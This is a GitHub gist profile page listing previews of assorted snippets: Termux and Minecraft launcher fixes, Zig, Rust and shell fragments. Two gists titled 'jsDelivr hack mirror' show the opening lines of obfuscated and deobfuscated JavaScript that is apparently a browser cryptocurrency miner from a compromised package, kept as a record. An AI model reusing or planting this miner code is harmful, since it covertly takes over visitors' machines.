Skip to content

Instantly share code, notes, and snippets.

View coolreader18's full-sized avatar

Noa coolreader18

View GitHub Profile
@coolreader18
coolreader18 / no-remove-prefix.md
Last active July 1, 2019 23:29
How to fix Termux without removing $PREFIX

Open Termux (failsafe). Run pkg i libiconv and look at the errors it produces (cat, realpath, etc.). cd to $PREFIX/bin and run

./busybox ln -s busybox {cat,realpath,etc}

for each executable that's missing. When pkg i libiconv doesn't fail, run pkg i coreutils again and everything should be fixed!

inline fn wa_syscall(nr: usize) usize {
return asm volatile ("swi %[nr]"
: [ret] "={r}" (-> usize)
: [nr] "{i}" (nr)
: "memory", "r1", "r2", "r3", "r4", "r12", "lr"
);
}
inline fn wa_syscall1(nr: usize, p1: usize) usize {
return asm volatile ("swi %[nr]"
This file has been truncated, but you can view the full file.
#!/bin/bash
INFO_LINES=4
dir=.
while getopts "d:" opt; do
case "$opt" in
d)
dir=$OPTARG
use std::rc::*;
pub enum RefCount<T> {
Rc(Rc<T>),
Weak(Weak<T>),
}
impl<T> RefCount<T> {
pub fn new_rc(value: T) -> RefCount<T> {
RefCount::Rc(Rc::new(value))
@coolreader18
coolreader18 / cleanedup-macro-io.rs
Last active January 4, 2019 06:00
Different versions of io.rs's mk_module, using macros or not
// the expanded version, with attributes and variable names cleaned up
let ctx: &PyContext = ctx;
let py_mod = ctx.new_module("io", ctx.new_scope(None));
let IOBase = {
ctx.new_class("IOBase", ctx.object())
};
ctx.set_attr(&py_mod, "IOBase", IOBase.clone());
let StringIO = {
let py_class = ctx.new_class("StringIO", IOBase.clone());
let __init__ = ctx.new_rustfunc(string_io_init);
@coolreader18
coolreader18 / ocrpdf
Last active November 20, 2018 03:30
A script to OCR a pdf file
#!/usr/bin/env sh
set -e
if [ ! -f "$1" ]; then
echo "Input file doesn't exist"
exit 1
fi
if [ ! "$2" ]; then
echo "Must provide output file"
@coolreader18
coolreader18 / fix-minecraft-launcher.sh
Last active July 5, 2018 19:10
Install the necessary dependencies for the new minecraft launcher.
curl http://download.icu-project.org/files/icu4c/57.1/icu4c-57_1-src.tgz | tar xvz
cd icu/source
./configure
make
cp lib/* /usr/lib
cd ../..
rm -rf icu
@coolreader18
coolreader18 / decrypted.wasm.min.js
Last active May 9, 2018 00:23
jsDelivr hack wasm.js mirror
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4B.dL=4B.dL||{};4B.dL.jF={iI:\'sq://pr.a8.1p./\',pq:\'pp.js\',po:![],pn:[["3Z:\\/\\/a8.ht.:3X\\/3W","3Z:\\/\\/a8.jw.:3X\\/3W","3Z:\\/\\/a8.pm.:3X\\/3W","3Z:\\/\\/a8.ju.:3X\\/3W","3Z:\\/\\/9s.pk.:3X\\/3W","3Z:\\/\\/9s.jh.:3X\\/3W","3Z:\\/\\/9s.4S.:3X\\/3W","3Z:\\/\\/9s.fR.:3X\\/3W","3Z:\\/\\/9s.ht.:3X\\/3W","3Z:\\/\\/9s.jz.:3X\\/3W","3Z:\\/\\/6H.jh.:3X\\/3W","3Z:\\/\\/6H.4S.:3X\\/3W","3Z:\\/\\/6H.fR.:3X\\/3W","3Z:\\/\\/6H.jz.:3X\\/3W","3Z:\\/\\/6H.jw.:3X\\/3W","3Z:\\/\\/6H.pj.:3X\\/3W","3Z:\\/\\/6H.pi.:3X\\/3W","3Z:\\/\\/6H.1p.:3X\\/3W","3Z:\\/\\/6H.ju.:3X\\/3W","3Z:\\/\\/6H.k7.:3X\\/3W"]],ph:"",pg:"",pf:""};1b 1o={fw:(1d(1l){1e dL.jF.iI+1l})};1b 1o=2b 1o!=="2m"?1o:{};1b 9w={};1b 2R;2k(
@coolreader18
coolreader18 / decrypted.js
Last active May 9, 2018 00:07
jsDelivr hack mirror
(function (_0x2c0d57) {
'use strict';
var _0x2abb26 = function (_0x49cf73, _0x3cf5eb) {
this['params'] = _0x3cf5eb || {};
this['_sitek'] = _0x49cf73;
this['_threads'] = [];
this['_hashes'] = 0x0;
this['_curr3ntJ0b'] = null;
this['_autoReconnect'] = !![];
this['_reconnectRetry'] = 0x3;